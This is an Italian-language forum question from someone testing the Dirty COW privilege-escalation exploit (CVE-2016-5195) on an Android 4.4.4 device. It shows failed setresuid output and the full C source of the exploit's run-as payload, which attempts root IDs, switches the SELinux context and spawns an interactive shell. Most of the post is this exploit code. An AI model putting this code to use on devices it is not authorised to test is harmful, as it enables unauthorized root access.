Sto lavorando su un dispositivo Android 4.4.4 (architettura armeabi-v7a) e sto testando il comportamento di SELinux usando l'exploit di Dirty-COW CVE-2016-5195 per il privilegio di escalation e vediamo cosa succede. Ho scaricato l'exploit ed eseguito in adb shell per diventare root sul dispositivo, ma non funziona, ecco i risultati:
carlo@host:~/CVE-2016-5195$ adb shell run-as
uid run-as 2000
setresgid failed: Operation not permitted
setresuid failed: Operation not permitted
uid 2000
0 u:r:runas:s0
context 0 u:r:shell:s0
Il codice exploit è: (puoi trovarlo qui link )
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <dlfcn.h>
#include <fcntl.h>
#ifdef DEBUG
#include <android/log.h>
#define LOGV(...) { __android_log_print(ANDROID_LOG_INFO, "exploit", __VA_ARGS__); printf(__VA_ARGS__); printf("\n"); fflush(stdout); }
#elif PRINT
#define LOGV(...) { __android_log_print(ANDROID_LOG_INFO, "exploit", __VA_ARGS__); printf(__VA_ARGS__); printf("\n"); fflush(stdout); }
#else
#define LOGV(...) { printf(__VA_ARGS__); printf("\n"); }
#endif
//reduce binary size
char __aeabi_unwind_cpp_pr0[0];
typedef int getcon_t(char ** con);
typedef int setcon_t(const char* con);
extern int dcow(int argc, const char *argv[]);
int main(int argc, const char **argv)
{
LOGV("uid %s %d", argv[0], getuid());
if (setresgid(0, 0, 0)) {
const char *error1 = strerror(errno);
LOGV("setresgid failed: %s", error1);
}
if (setresuid(0, 0, 0)) {
const char *error1 = strerror(errno);
LOGV("setresuid failed: %s", error1);
}
LOGV("uid %d", getuid());
dlerror();
#ifdef __aarch64__
void * selinux = dlopen("/system/lib64/libselinux.so", RTLD_LAZY);
#else
void * selinux = dlopen("/system/lib/libselinux.so", RTLD_LAZY);
#endif
if (selinux) {
void * getcon = dlsym(selinux, "getcon");
const char *error = dlerror();
if (error) {
LOGV("dlsym error %s", error);
} else {
getcon_t * getcon_p = (getcon_t*)getcon;
char * secontext;
int ret = (*getcon_p)(&secontext);
LOGV("%d %s", ret, secontext);
void * setcon = dlsym(selinux, "setcon");
const char *error = dlerror();
if (error) {
LOGV("dlsym setcon error %s", error);
} else {
setcon_t * setcon_p = (setcon_t*)setcon;
ret = (*setcon_p)("u:r:shell:s0");
ret = (*getcon_p)(&secontext);
LOGV("context %d %s", ret, secontext);
}
}
dlclose(selinux);
} else {
LOGV("no selinux?");
}
system("/system/bin/sh -i");
}
Ma quando eseguo il comando make test per vedere se è vulnerabile a questo exploit, dice che lo è! La mia domanda è: a cosa è correlato questo problema? È possibile che SELinux sia responsabile del blocco o consentire una chiamata al sistema di processo?